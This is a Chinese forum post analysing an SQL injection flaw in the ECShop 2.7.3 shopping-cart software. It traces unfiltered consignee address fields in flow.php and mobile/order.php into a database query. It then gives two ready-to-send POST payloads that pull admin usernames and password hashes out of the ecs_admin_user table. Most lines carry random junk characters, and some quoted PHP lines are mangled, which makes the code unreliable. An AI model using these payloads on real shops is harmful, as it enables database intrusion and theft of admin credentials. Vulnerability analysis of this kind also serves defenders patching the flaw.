找回密码
 立即注册
查看: 2676|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
- Q6 W5 Z; n6 u& F
, A- X4 X3 p% U5 }5 c8 q9 W    漏洞关键文件:2 T; u9 v2 F* y% x2 ?6 W( E1 d, I
6 ]) V: b% l' B
    /includes/lib_order.php' Q1 r' W) [0 M( _4 N! {% n

! @6 ^& D* _( C( a0 A: R/ ^8 V    关键函数:
( v% l3 Q5 W& W( l$ ~: s0 N: g& Z5 U7 |, d  l0 ]

& j! |/ o) W) k8 Q* V6 G& b  e$ _$ m
01     function available_shipping_list($region_id_list) 4 W1 O3 x: B' C1 E# @3 O& C9 u/ R
. b! G' l, N4 C) b
02 { / m' x5 r7 `$ L. y' n% ^

! L  n; P' w# f- z# ]03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
; s1 z6 D" t# Z) a! H& o8 H: |, q( n. y8 y" W% e
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
+ X0 y/ ~& f( O- d; V" r, I- F" Z5 {9 o9 ~
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
* e1 f; c" ^3 s2 o! b. T8 Q4 N; _" Q5 h8 x& F( A3 E
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . * Y0 T" E& o4 q7 k' T& B# A

& [# V4 G0 {# l  ]# p07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ) D; |" s  h0 m9 I/ I

4 B0 A  t  t% T# r! R" k8 m08             'WHERE r.region_id ' . db_create_in($region_id_list) . 7 B( S2 S+ j7 G) ^. u  Q
0 w3 C% i. V* j
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; / {5 O7 Y6 Q3 u2 V( z& B1 ^& @
; O6 n/ |, c8 {- @' c/ m, j1 u8 E
10   
2 d5 `* M8 l$ ^# m# f  o5 u. q0 _( o$ A, t
11     return $GLOBALS['db']->getAll($sql);
% F8 m- C. M3 X+ o$ I9 v8 p1 x  w+ j/ B- r; D& [8 o
12 }
$ x3 i0 _4 @2 s. V  p  c8 j! J9 g' a' o7 o- E5 G  z  A. `
显然对传入的参数没有任何过滤就带入了查询语句。( A6 H8 ^" q4 A+ m' g0 U) S
5 a; p/ Q: {+ k6 g$ P
下面我们追踪这个函数在flow.php中:* T5 n  t% [, u9 Y3 G
第531行:   
* S; \1 V) \: J  d  W
' `' ?6 s6 N4 V1 $shipping_list     = available_shipping_list($region);   G3 C, y0 ~8 S$ {+ G" z  s7 n* R  |
* m8 T1 y9 m* q* q
8 o) [0 y' B; k+ T, J  l9 o' ~6 r
' b+ Y" Q/ ^& V( V5 p8 A
* m0 D. {7 M3 V

3 _  `  Q! l" I. B) |3 E再对传入变量进行追踪:3 j& [3 {- ?. U

% u% H5 y- \% l第530行:   
, O7 k' f. a9 i! Y! l
0 E8 x6 T3 ]. A  W1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); / ?4 G1 G; A1 r$ a0 G9 b$ B

+ Z3 x. n' O5 @0 `1 }, y/ S - g. S, H1 t, o5 I

) X4 `  h) l+ _( M1 d" r   [  {$ C# r, j, B
8 Z# @$ l9 g' M- K4 W
第473行:        5 n% _& g: W0 A; a) i
  y& y  j$ {; l3 w( L9 ]1 D1 [' I
1 $consignee = get_consignee($_SESSION['user_id']);
( z) Q% c7 |; @7 x7 }- z- G$ K9 C! ^
到了一个关键函数:
; A1 Y6 k8 h( @
5 I) Y3 Z% y! A/includes/lib_order.php
" k6 d1 O& f/ ~- F* ?0 w3 _. E( _
4 H7 ?% A4 u4 r2 Y1 E3 B- l . Q) B2 V& X. P/ d* Z

1 h6 i" L: h/ h2 L6 { , `( l: @1 V6 U+ r

! C/ o: V' m0 ~  Y01 function get_consignee($user_id) % g+ s8 [9 k- U. u

2 H. e; N3 p5 C4 _9 p- o: I7 v02 { , j# m( Y" a  n) B& ~, K& I6 V7 N
) F" }. p! z/ a/ O" e# P
03     if (isset($_SESSION['flow_consignee'])) , h5 a' d# r, y) G8 _

" t0 i* I* Q% }- u' W/ u% V04     {
+ H# W5 y- q- t" F! y
3 Z7 v/ I* X" n05         /* 如果存在session,则直接返回session中的收货人信息 */ 5 S: [! W2 W0 q2 ?

# C* ^  [9 F2 g( @7 E- j2 O0 K. G06   1 Z9 O' k  T8 L: {! e: s, v0 Y# k. S0 |

8 D& l7 `5 r7 R  p( J& b4 Q: c7 u07         return $_SESSION['flow_consignee'];
: O# j. X9 j6 u$ Q  u  y
4 ~' }+ n3 v; L6 ?# [. J08     } ( n$ g0 f6 |* A
4 Z8 ^/ E7 `6 U6 F
09     else : l5 u& u& L! R" ~. {" {4 k

3 Z" M6 f0 |, c8 d/ F7 Y, z10     { " C; \3 X8 ~! X7 p$ c: b( u; |4 y
. j2 I7 ^/ o4 b) ~+ ]' \# m8 n  ?
11         /* 如果不存在,则取得用户的默认收货人信息 */
+ E5 c$ w$ ]- g4 H' g4 |6 l+ `* x# L" Z
5 G: B6 l+ U4 P1 ~$ j* u. F/ d, N12         $arr = array(); / P$ j9 p) h0 |0 O+ k& \8 }) d
" V$ X8 w% w- f& V& L7 c
13   
. x# q; e% D$ v! K# M: u: ?3 ?
- }9 a0 }# p+ U8 n: P  I6 q14         if ($user_id > 0)
$ C) H( X5 v1 v/ U7 M1 N5 g9 I
15         { & B+ c" K: L- Z$ g; ^& T; S

0 L0 n. `  o' Q! W16             /* 取默认地址 */ # C: T. v" E  m3 t0 U
0 n$ R" k6 U5 y9 r# q5 T) S& g, w5 H
17             $sql = "SELECT ua.*".
0 i$ E; _) d- v( f& c+ Y1 W+ b4 N4 i) X; J2 w
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ; y; X" E* Z/ ~6 r+ f
- ?# P1 X9 d) g  ?9 `5 T5 s
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; * P6 @' z3 L: i4 J6 `/ a. k
3 |+ ?# D5 C; @" O
20   
# d4 s- l6 x: J; D; F( S- h- G4 H- T3 L
21             $arr = $GLOBALS['db']->getRow($sql); , g- m1 J% g8 U

  K+ p' p* f. \5 A0 L0 j4 u22         } 4 ?  q; [4 ^% E2 f0 ?: L( }

; m, r1 Y+ B( T& ?; s( b! H5 j0 V23   
+ d* U; Y7 _& S$ d
2 Q  W/ w8 |6 c% |' y24         return $arr;
3 j8 _+ X6 v% W$ D! Q
( n6 i/ z6 B. f( q+ X5 x# Y, h  A' m25     }
! j; |7 L: f" H* s" p. E6 x9 S7 f
0 C6 U, o! D# O0 ]26 } + ?! v3 \* D3 [. x  ^4 Q
2 J* i4 J  B7 g  ~$ }
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?" n' O: [# h* o3 @
' L6 N. d  `- R# N* z

) s/ _, ~% b5 n( {
5 z1 r5 B1 t; n0 h关键点:& b$ h6 o+ X5 _' H5 E

  e* |8 j$ K& O% Z5 J- R- K. p第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
2 B3 C4 M5 k" C% g
- ~! Q6 e. |0 ^2 d8 R这里对传入参数反转义存入$_SESSION中。* |6 w: B: m5 W  }1 t& U
; Q& n: G6 u4 |; G, ~$ ^

/ s. ^0 o/ v2 }9 Y! ]
1 g. c: a1 E' |) `5 m; k2 n然后看下:* H5 J5 L' K  J+ B! f0 r( S& w

, o+ m2 h4 m  _. `5 N
0 u$ v  F- f  i- ]3 K" y" o6 L. i" Y/ }- H9 w* c* w7 ?: G1 y
   
0 c# `# A) L. |. e: z3 @5 r# ^! z# N. a& K  J5 T0 R
01 $consignee = array( # W5 {) Z) _+ E* b  ^  S1 o( H, @" `

8 }. l. y* [( m! y; W' R02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 9 E& h1 ~8 G" F+ r# |# f6 F
6 u; s! U$ ~, q1 _5 l- p8 I
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), ! W; z7 p" ^2 ~' T0 }* p- }
& e! k' ^- U4 {4 ?6 i# s# u
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
3 d+ K7 S' h( t9 W/ \3 H0 y. h& e
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
$ Z, v& L( k% y* ?
$ g" B% W( @& w3 U0 k  I2 }$ s06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 9 s5 L: `' ~- _" ~' b" Z/ B
  Y2 d5 X& |: C. L% B/ |- \! A" |* m
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
- _1 [* n* L( P" w" x2 d# i& r' ~6 i& R9 m
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], & f) F! ~: K( f2 |% A/ `6 j
* m* V2 g/ {$ q  U; c. G
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 9 r3 P) ~0 a" a; J8 Q. {

/ t8 k1 D+ ^& C5 B6 l- B10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), , B  v$ q) o$ t
7 ]& [- V, H0 Y
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
1 Q' a1 _4 [+ x1 a0 h6 D$ o# @2 r& i
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 8 l. h3 a: U2 f9 t
9 R' c( z2 \- Y7 F2 @9 S
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
7 f# Y! P; E( z# O# V5 b0 ?7 Z. z/ m  o
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ! A$ N0 y& u0 X: T+ [8 ]
# h1 X4 g2 ~: i& m3 B5 ]  H
15     );
' Z  r2 r2 u+ q/ R3 b3 N/ b
/ X3 w5 Z8 ^4 P好了注入就这样出现了。
0 y, n4 t* O+ o4 R2 y, j6 V2 P% i+ h  C8 X7 f
==================/ \1 q8 B8 P% U3 J3 `4 S
" X' K0 Z  \* w9 |$ r0 c" o
注入测试:
& e, G* L4 e9 {1 X6 h5 U: W' E4 n
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
: j9 Y4 C. Z- C8 a
* w# N# g+ w9 u. `' u4 w4 t, S测试程序:ECShop_V2.7.3_UTF8_release11062 @1 C" v! }+ `# C4 H) N) a5 P
& y$ C7 e4 s4 A7 L& m

" h+ N1 ^/ h8 n/ K# f- i9 N0 G% h9 n& U
1.首先需要点击一个商品加入购物车
* N( G* ]& Z1 c  ?
8 \7 Z) l4 E4 s; T0 `2.注册一个会员帐号
; b) k) v( D) B( s, Y2 l! X" V9 c; R! I# p+ {+ X5 _
3.post提交数据$ ]' o1 W6 ~* Z* Z

" N/ C7 V& l+ w : `& _2 d) l* T& r6 S' y

2 D+ D8 l& w+ F) b6 B9 t6 e1 http://127.0.0.1/ecshop/flow.php
3 z4 j( q, `) `2 v1 r- k. m: b3 Q
' r3 w- R) u9 ^* B2 G" R4 h2   4 v. ?& ~; I& K0 Y, K! ?. G

. y+ _- P; y. `$ |) }* w+ k3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ( Y% c! p5 P4 ?' C8 a
举一反三,我们根据这个漏洞我们可以继续深入挖掘:- L. K6 p1 c1 j& c* w( E+ ]
6 x6 b# x/ d; M# h" `( G
我们搜寻关键函数function available_shipping_list()
( Q  H" E0 O+ {4 B$ d  \+ ]
& E# o- V) |2 W5 d) ]( r: K在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同, E, d" A+ _6 p- M6 k0 S' O
$ U. Q# L( T& n* [! F2 W7 }
利用exp:
' E) `  k7 Y) H' H. n! x, h+ m: v
1 @" z5 J0 z  P7 u1.点击一个商品,点击购买商标  {9 V- C# g) G/ O+ g' _( V

( h1 b2 e( |+ K& h6 C2.登录会员帐号, F; [2 n9 \. R  u) ]0 F
1 I( a% [' h4 D: ~' l1 ~% {
3.post提交:
" g4 |) o( A: j& P& j4 c4 B
( N$ n0 E# G8 u9 G( Xhttp://127.0.0.1/ecshop/mobile/order.php* ]( m9 [0 O2 C; {

" B3 p% N7 E# b0 f1 ^ 4 r+ q- {+ r/ H2 a$ V  H' Q
' e8 Z, s: [" i0 d6 S' W3 i
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( }- T# a- J( o/ g! l- u. o3 K8 P% m2 X) }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表